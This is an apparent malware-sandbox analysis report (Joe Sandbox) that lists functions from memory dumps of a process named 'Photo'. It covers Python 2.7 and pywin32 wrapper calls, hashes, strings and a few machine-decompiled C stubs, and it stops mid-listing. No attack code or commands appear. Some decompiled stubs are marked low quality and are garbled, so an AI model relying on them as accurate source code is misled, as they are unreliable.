Function 1E7AB320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

?PyWinObject_AsReadBuffer@@YAHPAU_object@@PAPAXPAKH@Z.PYWINTYPES27(?,?,?,00000000), ref: 1E7AB35B
PyErr_Clear.PYTHON27 ref: 1E7AB367
?PyWinLong_AsVoidPtr@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,?), ref: 1E7AB36F

Strings

WPARAM must be a String, int, or buffer object (got %s), xrefs: 1E7AB392

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: U_object@@$Buffer@@ClearErr_Long_Object_Ptr@@ReadVoid
String ID: WPARAM must be a String, int, or buffer object (got %s)
API String ID: 241014388-4291837332
Opcode ID: 3a904c6f6d98946c24ea8d8144d0d732180643676da8321d460e4947ddb0d469
Instruction ID: 1021d1b02bfc2ca7ec35e8df0df25621b7c1ee42ba7ab1a84bc5fadbafdb14dc
Opcode Fuzzy Hash: 3a904c6f6d98946c24ea8d8144d0d732180643676da8321d460e4947ddb0d469
Instruction Fuzzy Hash: 750184316142109BE700DF1CE884FABB3E9EFC5714F094A5DF94587250E371E881CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AB4B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,OiOOi(ii):MSG param,?,?,?,?,?,?,?), ref: 1E7AB4E1
?PyWinObject_AsHANDLE@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,?), ref: 1E7AB4F4
?PyWinObject_AsPARAM@@YAHPAU_object@@PAI@Z.PYWINTYPES27(?,?), ref: 1E7AB509
?PyWinObject_AsPARAM@@YAHPAU_object@@PAI@Z.PYWINTYPES27(?,?), ref: 1E7AB51E

Part of subcall function 1E7AB320: ?PyWinObject_AsReadBuffer@@YAHPAU_object@@PAPAXPAKH@Z.PYWINTYPES27(?,?,?,00000000), ref: 1E7AB35B
Part of subcall function 1E7AB320: PyErr_Clear.PYTHON27 ref: 1E7AB367
Part of subcall function 1E7AB320: ?PyWinLong_AsVoidPtr@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,?), ref: 1E7AB36F

Strings

OiOOi(ii):MSG param, xrefs: 1E7AB4DB

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: U_object@@$Object_$Arg_Buffer@@ClearErr_Long_ParsePtr@@ReadTupleVoid
String ID: OiOOi(ii):MSG param
API String ID: 348261915-2487705627
Opcode ID: 10744ced5d4691e5cb92688050c6a36684eefdad3d2eee3e07e5666aae978160
Instruction ID: 0397f60459674a67a67bb8158ca58dcd352047cb7f67d739f37e549acb50c7a4
Opcode Fuzzy Hash: 10744ced5d4691e5cb92688050c6a36684eefdad3d2eee3e07e5666aae978160
Instruction Fuzzy Hash: 91015E765042026BDA14DB64FD90DE773ED9ED4605F484F2DBA4A92210F631F90DCBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A3490 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Attributes of PyDEVMODE can't be deleted), ref: 1E7A34A6
PyString_AsStringAndSize.PYTHON27(?,?,?), ref: 1E7A34BF
PyErr_Format.PYTHON27(?,Length of DriverData cannot be longer that DriverExtra (%d bytes),?), ref: 1E7A34EC

Strings

Attributes of PyDEVMODE can't be deleted, xrefs: 1E7A34A0
Length of DriverData cannot be longer that DriverExtra (%d bytes), xrefs: 1E7A34E6

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_String$FormatSizeString_
String ID: Attributes of PyDEVMODE can't be deleted$Length of DriverData cannot be longer that DriverExtra (%d bytes)
API String ID: 301252844-1044516220
Opcode ID: 935c3decca00fc34bc2bc92f51abae63d7f95c6c576f60146de3a36975921f34
Instruction ID: 325acc7eb66dc15b96f7b465ae6409d590e4e333d0b30a3b700b5f2318206a2f
Opcode Fuzzy Hash: 935c3decca00fc34bc2bc92f51abae63d7f95c6c576f60146de3a36975921f34
Instruction Fuzzy Hash: CB115EB2514221AFE308DF68DC84C6A73A9ABC8325B188B1DF66A873E0D770D851CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,1E7B064C,?,?), ref: 1E7A7317
GetSidSubAuthorityCount.ADVAPI32(?), ref: 1E7A7337
GetSidSubAuthority.ADVAPI32(?,?), ref: 1E7A734D

Strings

The index is out of range, xrefs: 1E7A7372

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Authority$Arg_CountParseTuple
String ID: The index is out of range
API String ID: 3726579381-505141048
Opcode ID: 74a8035810e6da8ac0139c350eddb6b19be950eb2d8064f3a05f950149c82e7c
Instruction ID: b3877d2c5a15b5ea2b3d1da0776e4bc8f4d27aaff6834a92ff866c41324e0b48
Opcode Fuzzy Hash: 74a8035810e6da8ac0139c350eddb6b19be950eb2d8064f3a05f950149c82e7c
Instruction Fuzzy Hash: D50169B5500211EFE704DF24EC8889B77E8EB8C705F884A18FA8A83310F334E854DB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7150 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,(bbbbbb)b:Initialize,?,?,?,?,?,?), ref: 1E7A717F
InitializeSid.ADVAPI32(?,?), ref: 1E7A71A1
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(InitializeSid,00000000), ref: 1E7A71B1

Strings

InitializeSid, xrefs: 1E7A71AC
(bbbbbb)b:Initialize, xrefs: 1E7A7179

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Error@@InitializeParseTupleU_object@@Win_
String ID: (bbbbbb)b:Initialize$InitializeSid
API String ID: 3877137221-750340051
Opcode ID: aa7daafbb759b25788039a03be18939b4c694aa2444684957441c63932da7943
Instruction ID: 10ab030ec4b198fa436c4aadcd1ee38d0d3844dd64356e47da7903b33080a037
Opcode Fuzzy Hash: aa7daafbb759b25788039a03be18939b4c694aa2444684957441c63932da7943
Instruction Fuzzy Hash: 5101CCB6504206ABE305CF54E880DABB3EDBBD8704F484A1DFA5686215F630E65DCB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AB170 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,1E7B11D4), ref: 1E7AB181
PyErr_SetString.PYTHON27(00000000,Buffer cannot be None), ref: 1E7AB1AD

Strings

Buffer cannot be None, xrefs: 1E7AB1A7

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_ParseStringTuple
String ID: Buffer cannot be None
API String ID: 385655187-305949699
Opcode ID: bfd3bbf9ec776fd0cbed73bcf4741e34848bab66d44e7337f5646f5175b0d4ba
Instruction ID: d9fdcce8e39f652205a2d3057938a80de7f292bd62c13796bb9a62fa39a76d7e
Opcode Fuzzy Hash: bfd3bbf9ec776fd0cbed73bcf4741e34848bab66d44e7337f5646f5175b0d4ba
Instruction Fuzzy Hash: 350181B5914101ABE200DB64EC85C6A73EAABC8214F884B18FD49C2250F735DA19CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02762030 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E02762030() {
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				struct _MEMORYSTATUSEX* _t14;

				_t14 =  &_v64;
				_v64 = 0x40;
				GlobalMemoryStatusEx(_t14);
				if(_t14 != 0) {
					return  *0x27692b4("(LLLLLL)", _v60, _v56, _v52, _v48, _v44, _v40, _v36, _v32, _v28, _v24, _v20, _v16);
				} else {
					return  *0x27692b8(_t14);
				}
			}

0x02762033
0x02762037
0x0276203f
0x02762047
0x027620a4
0x02762049
0x02762056
0x02762056

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0276203F
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 0276204A
Py_BuildValue.PYTHON27((LLLLLL),?,?,?,?,?,?,?,?,?,?,?,?), ref: 02762098

Strings

(LLLLLL), xrefs: 02762093
@, xrefs: 02762037

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: BuildErr_FromGlobalMemoryStatusValueWindows
String ID: (LLLLLL)$@
API String ID: 1532042667-4274804333
Opcode ID: 27f570f64cc25a81deb84bd22665f82b412c858e63a165f8b9291e94b1c42a51
Instruction ID: 083de163393e7c808f9aeeae8c96dae733ead261153a0fba97119fe57d336b96
Opcode Fuzzy Hash: 27f570f64cc25a81deb84bd22665f82b412c858e63a165f8b9291e94b1c42a51
Instruction Fuzzy Hash: BD01A1F1608300AFD344CB68D845D2BB3E9ABCC618F44CA0CF69DD3214D630EA158B63

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA4B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

?PyWinObject_AsString@@YAHPAU_object@@PAPADHPAK@Z.PYWINTYPES27(?,?,?,00000000), ref: 1E7AA4C3

Part of subcall function 1E7A8DC0: PyErr_SetString.PYTHON27(?,None is not a valid string in this context,?,?,1E7A7B2B,?,00000000,00000000,00000000), ref: 1E7A8DE3

PyErr_Clear.PYTHON27 ref: 1E7AA4D7
?PyWinLong_AsVoidPtr@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,?), ref: 1E7AA4DF
PyErr_SetString.PYTHON27(?,Resource id/name must be string or int in the range 0-65536), ref: 1E7AA507

Strings

Resource id/name must be string or int in the range 0-65536, xrefs: 1E7AA501

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$StringU_object@@$ClearLong_Object_Ptr@@String@@Void
String ID: Resource id/name must be string or int in the range 0-65536
API String ID: 2728866234-907244015
Opcode ID: 920197796de660b57c42923f58a76e78782c0e11e69cae9d5ea9f9d4bbb4a0b9
Instruction ID: f70c8d959fc3c3bc47c875e56b3ba40f8ca3c04804b8cb833017eddc0e9e7d73
Opcode Fuzzy Hash: 920197796de660b57c42923f58a76e78782c0e11e69cae9d5ea9f9d4bbb4a0b9
Instruction Fuzzy Hash: 10F05476500211ABF7006F69FC48B6B77EDAFC9224F184A1DFA5486250E774A842CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA520 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

?PyWinObject_AsWCHAR@@YAHPAU_object@@PAPA_WHPAK@Z.PYWINTYPES27(?,?,?,00000000), ref: 1E7AA533

Part of subcall function 1E7A91A0: PyString_Size.PYTHON27(?,?,?,?,?,?,1E7A1A6E), ref: 1E7A91C4
Part of subcall function 1E7A91A0: PyString_AsString.PYTHON27(?,?,?,?,?,?,1E7A1A6E), ref: 1E7A91CD
Part of subcall function 1E7A91A0: PyMem_Malloc.PYTHON27(00000002), ref: 1E7A91E1
Part of subcall function 1E7A91A0: PyErr_SetString.PYTHON27(?,No memory for wide string buffer), ref: 1E7A9202

PyErr_Clear.PYTHON27 ref: 1E7AA547
?PyWinLong_AsVoidPtr@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,?), ref: 1E7AA54F
PyErr_SetString.PYTHON27(?,Resource id/name must be unicode or int in the range 0-65536), ref: 1E7AA577

Strings

Resource id/name must be unicode or int in the range 0-65536, xrefs: 1E7AA571

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_String$String_U_object@@$ClearLong_MallocMem_Object_Ptr@@SizeVoid
String ID: Resource id/name must be unicode or int in the range 0-65536
API String ID: 755803416-4091729669
Opcode ID: 2632017ce2bf5ac6b95679754a2a973fd521f32be430ffea670e1b8837c3b272
Instruction ID: 2d8723932c19104dcfc6704304a6b1488e3fde49e018eddc69453608a133668f
Opcode Fuzzy Hash: 2632017ce2bf5ac6b95679754a2a973fd521f32be430ffea670e1b8837c3b272
Instruction Fuzzy Hash: E6F05436500211AFF7006F69FC84B6B77ED9FC5224F184619FA4486250E771A852DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AB3C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PyInt_FromLong.PYTHON27(?), ref: 1E7AB3D1
PyInt_FromLong.PYTHON27(?), ref: 1E7AB3D9
Py_BuildValue.PYTHON27(NiNNi(ii),00000000,?), ref: 1E7AB401

Strings

NiNNi(ii), xrefs: 1E7AB3FC

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: FromInt_Long$BuildValue
String ID: NiNNi(ii)
API String ID: 888719023-1588869203
Opcode ID: 6f9e57c2ab50b754ba7c5d891f3220bfb5b8b8f3f960ecb2099020ab75ecf9ea
Instruction ID: 600a3cbe9f4dd5b1d6e6f73f8ebd3f17cef683e4046ce1cbfe6031156d57bbf7
Opcode Fuzzy Hash: 6f9e57c2ab50b754ba7c5d891f3220bfb5b8b8f3f960ecb2099020ab75ecf9ea
Instruction Fuzzy Hash: 0DF03AB6600604AFE620DB99EC84C63F3EDEFDC2143048A19F64AC3210D630FC148BB1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA1D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,1E7B11EC,?), ref: 1E7AA1E6
DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 1E7AA205
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(DosDateTimeToFileTime,00000000,?,?), ref: 1E7AA215

Strings

DosDateTimeToFileTime, xrefs: 1E7AA210

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Time$Arg_DateError@@FileParseTupleU_object@@Win_
String ID: DosDateTimeToFileTime
API String ID: 4133277378-852992627
Opcode ID: cabd68730d99bb26236951a684e042c0b80bb00e771ade28997c396cc5b6dc1d
Instruction ID: 1ad1988e12163e41036fecd26eb31fcc969569cc4c0c69665e9a07c11a2a2a0c
Opcode Fuzzy Hash: cabd68730d99bb26236951a684e042c0b80bb00e771ade28997c396cc5b6dc1d
Instruction Fuzzy Hash: 33F05BFA9041057BF700EB64DC45D7B77EDEAD4244F884F5CF64981125F631E6148A63

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2DD0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,l:DeleteAce), ref: 1E7A2DDF
DeleteAce.ADVAPI32(?), ref: 1E7A2DFA
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(DeleteAce,00000000), ref: 1E7A2E0A

Strings

l:DeleteAce, xrefs: 1E7A2DD9
DeleteAce, xrefs: 1E7A2E05

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_DeleteError@@ParseTupleU_object@@Win_
String ID: DeleteAce$l:DeleteAce
API String ID: 1786209359-3702189175
Opcode ID: ce5fd305235c97bde9b3ef9642e050d5369c46c8b6d80eb8a0d665e81d70d31b
Instruction ID: 7a913d743d00f5e356b4a98154f223191f25b48d46b68e5047dd7693ada9250e
Opcode Fuzzy Hash: ce5fd305235c97bde9b3ef9642e050d5369c46c8b6d80eb8a0d665e81d70d31b
Instruction Fuzzy Hash: 6FF01CB5614215EFE208CB24EC8495A73EDABDC219B1C4759FA46C3355E730E890DA21

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4250 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON27 ref: 1E7A4260
CloseHandle.KERNEL32(00000000), ref: 1E7A426C
PyEval_RestoreThread.PYTHON27(00000000), ref: 1E7A4275
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(CloseHandle,00000000), ref: 1E7A428F

Part of subcall function 1E7A9F20: GetLastError.KERNEL32(00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F2A
Part of subcall function 1E7A9F20: ?PyWin_GetErrorMessageModule@@YAPAUHINSTANCE__@@K@Z.PYWINTYPES27(00000000,00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F38
Part of subcall function 1E7A9F20: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 1E7A9F69
Part of subcall function 1E7A9F20: ?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(No error message is available,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1E7A9FC7
Part of subcall function 1E7A9F20: ?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,?,6C423D3F), ref: 1E7A9FD7
Part of subcall function 1E7A9F20: Py_BuildValue.PYTHON27((iNN),00000000,00000000,?,00000000,?,6C423D3F), ref: 1E7A9FE6
Part of subcall function 1E7A9F20: LocalFree.KERNEL32(?), ref: 1E7A9FFF
Part of subcall function 1E7A9F20: PyErr_SetObject.PYTHON27(02FC03E0,00000000), ref: 1E7AA010

Strings

CloseHandle, xrefs: 1E7A428A

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: U_object@@$ErrorEval_FromMessageThreadWin_$BuildCloseCoreE__@@Err_Error@@FormatFreeHandleLastLocalModule@@ObjectObject_RestoreSaveString@@String_Value
String ID: CloseHandle
API String ID: 963033428-2962429428
Opcode ID: 63a43d65403068f0e7636a8c1c4a97ee249978d8b292d1f9f86c4ba43abdbb0a
Instruction ID: 0bbe37597261bf1a2ede6810f1a390a27d30c1db8d4d9705f916c8421cd2adfb
Opcode Fuzzy Hash: 63a43d65403068f0e7636a8c1c4a97ee249978d8b292d1f9f86c4ba43abdbb0a
Instruction Fuzzy Hash: F4E0ED766002109BF3105769AC88B5A77AAABC932AF0D8629F649C2251E675D844CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027811C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E027811C0(void* __eax, void* __edx) {
				void* _t11;

				 *((intOrPtr*)(_t11 + 0x3b)) =  *((intOrPtr*)(_t11 + 0x3b)) + __edx;
			}

0x027811c6

APIs

LoadLibraryA.KERNEL32(ws2_32.dll), ref: 027811CF
GetProcAddress.KERNEL32(00000000,WSAAddressToStringA), ref: 027811DD
FreeLibrary.KERNEL32(00000000), ref: 027811ED

Strings

ws2_32.dll, xrefs: 027811CA
WSAAddressToStringA, xrefs: 027811D7

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WSAAddressToStringA$ws2_32.dll
API String ID: 145871493-3519588124
Opcode ID: f8ed8546553d992dbf42aae32490c2e76a0db5084e7565b5b6c1b6a93ebc6555
Instruction ID: e42f1be119082e2d380574f6a2d0c9901d268b1c3e68f97fec4ac576eb2c7f9f
Opcode Fuzzy Hash: f8ed8546553d992dbf42aae32490c2e76a0db5084e7565b5b6c1b6a93ebc6555
Instruction Fuzzy Hash: D3E01A31DC06939FE710EF29BC6AA963BE0BB01656B618881E80592200D7F45465CA52

Uniqueness

Uniqueness Score: -1.00%

Function 02781171 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02781171(void* __eax, void* __edx) {
				_Unknown_base(*)()* _t5;
				struct HINSTANCE__* _t9;
				void* _t11;

